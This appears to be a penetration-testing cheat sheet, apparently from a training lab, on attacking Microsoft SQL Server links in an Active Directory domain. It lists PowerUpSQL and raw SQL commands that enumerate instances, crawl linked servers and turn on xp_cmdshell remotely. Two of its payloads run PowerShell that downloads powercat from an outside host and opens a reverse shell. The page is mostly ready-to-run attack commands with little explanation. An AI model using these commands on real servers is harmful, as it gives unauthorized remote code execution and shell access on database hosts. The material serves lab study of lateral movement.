MSSQL Servers
Tools
Enumeration
Database Links
Abuse
Last updated
Last updated
# SPN
Get-SQLInstanceDomain
# Check Access
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
# Information
Get-SQLInstanceDomain | Get-SQLServerInfo# find links to remote machine
Get-SQLServerLink -Instance dcorp-mssql
# Using HeidiSQL
select * from master..sysservers
# database links
Get-SQLServerLinkCrawl -Instance dcorp-mssql
# Using HeidiSQL
select * from openquery("DCORP-SQL1", 'select * from openquery("DCORP-MGMT",''select * from master..sysservers'')')
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql
# Using HeidiSQL
SELECT *
FROM OPENQUERY("dcorp-sql1", '
SELECT *
FROM OPENQUERY("dcorp-mgmt", ''
SELECT *
FROM OPENQUERY("EU-SQL32.EU.EUROCORP.LOCAL",''''
SELECT @@version AS version;
EXEC master..xp_cmdshell "powershell iex (iwr http://172.16.100.83/powercat.ps1 -UseBasicParsing)";
'''')
'')
')
# revshell example
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex ((New-Object Net.WebClient).DownloadString(''http://172.16.100.83/powercat.ps1;powercat -c 172.16.100.83 -p 443 -e powershell''));"' -QueryTarget eu-sql32
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"